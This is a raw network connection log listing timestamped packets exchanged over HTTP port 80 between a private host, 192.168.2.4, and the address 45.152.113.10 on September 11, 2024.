Sep 11, 2024 22:52:07.430490971 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.430502892 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.430521965 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.430543900 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.430571079 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.430582047 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.430603027 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.430625916 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.430636883 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.430661917 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.430670023 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.430699110 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.430702925 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.430721045 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.430747032 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.430752039 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.430783033 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.430805922 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.430830956 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.430835009 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.430862904 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.430886984 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.430895090 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.430911064 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.430927038 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.430946112 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.430960894 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.430974960 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.430993080 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.431015015 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.431025028 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.431047916 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.431056023 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.431081057 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.431087971 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.431103945 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.431122065 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.431140900 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.431154966 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.431175947 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.431188107 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.431209087 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.431220055 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.431236982 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.431252956 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.431269884 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.431284904 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.431304932 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.431317091 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.431339025 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.431349039 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.431370020 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.431380987 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.431423903 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.431427956 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.431443930 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.431462049 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.431479931 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.431494951 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.431516886 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.431524038 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.431554079 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.431555986 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.431576967 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.431591988 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.431613922 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.431623936 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.431636095 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.431657076 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.431678057 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.431688070 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.431711912 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.431720018 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.431734085 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.431751966 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.431771994 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.431785107 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.431808949 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.431817055 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.431847095 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.431849003 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.431865931 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.431881905 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.431900978 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.431915998 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.431940079 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.431947947 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.431962967 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.431981087 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.432003021 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.432013035 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.432039976 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.432044983 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.432065010 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.432077885 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.432100058 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.432110071 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.432135105 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.432143927 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.432157040 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.432195902 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.515739918 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.515770912 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.515820980 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.515852928 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.515871048 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.515886068 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.515938044 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.515969038 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.516000986 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.516036987 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.516036987 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.516036987 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.516036987 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.516050100 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.516068935 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.516098976 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.516098976 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.516130924 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.516159058 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.516164064 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.516181946 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.516195059 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.516217947 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.516227961 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.516233921 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.516256094 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.516285896 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.516285896 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.516311884 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.516320944 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.516333103 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.516349077 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.516372919 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.516381025 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.516402006 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.516412020 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.516428947 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.516443968 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.516468048 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.516478062 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.516490936 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.516524076 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.516532898 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.516556025 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.516577005 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.516604900 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.516613960 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.516638041 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.516659975 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.516669035 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.516690016 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.516719103 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.516726017 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.516750097 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.516772985 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.516783953 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.516803980 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.516830921 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.516838074 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.516865015 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.516882896 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.516897917 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.516921997 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.516928911 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.516940117 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.516979933 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.516980886 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.517014027 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.517033100 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.517045021 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.517069101 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.517076969 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.517096043 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.517126083 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.517133951 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.517158031 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.517180920 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.517200947 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.517204046 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.517235994 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.517257929 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.517266989 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.517287970 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.517303944 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.517313957 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.517347097 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.517365932 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.517378092 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.517395973 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.517410040 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.517426014 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.517442942 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.517456055 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.517474890 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.517493963 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.517507076 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.517523050 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.517539024 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.517558098 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.517570019 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.517585993 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.517601967 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.517618895 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.517636061 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.517651081 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.517666101 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.517683983 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.517695904 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.517709970 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.517728090 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.517741919 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.517760992 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.517775059 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.517810106 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.517810106 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.517843008 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.517863035 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.517873049 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.517891884 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.517904043 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.517920971 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.517951965 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.517951965 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.517983913 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.518007994 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.518014908 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.518045902 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.518064976 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.518078089 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.518107891 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.518127918 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.518138885 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.518161058 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.518182993 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.518191099 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.518205881 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.518224955 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.518241882 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.518273115 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.518274069 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.518321991 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.518322945 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.518353939 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.518373966 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.518387079 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.518402100 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.518419027 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.518435955 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.518451929 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.518467903 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.518485069 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.518498898 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.518517971 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.518531084 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.518563986 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.518565893 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.518613100 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.518615007 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.518646955 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.518667936 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.518677950 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.518692970 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.518709898 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.518726110 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.518740892 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.518752098 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.518771887 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.518788099 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.518804073 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.518821001 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.518835068 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.518851995 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.518867016 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.518882036 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.518902063 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.518915892 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.518934965 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.518953085 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.518966913 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.518978119 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.518997908 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.519010067 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.519031048 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.519045115 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.519062042 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.519074917 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.519093990 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.519108057 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.519124985 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.519134045 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.519155979 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.519167900 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.519188881 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.519201994 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.519221067 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.519233942 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.519253969 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.519264936 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.519284010 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.519299984 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.519315958 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.519330025 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.519347906 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.519362926 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.519380093 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.519428015 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.519447088 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.519447088 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.519462109 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.519475937 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.519493103 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.519510984 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.519525051 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.519541979 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.519556999 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.519570112 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.519589901 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.519604921 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.519620895 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.519633055 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.519654036 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.519669056 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.519689083 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.519701958 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.519722939 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.519737005 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.519768953 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.603142023 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.603171110 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.603219986 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.603236914 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.603269100 CEST	80	49733	45.152.113.10	192.168.2.4
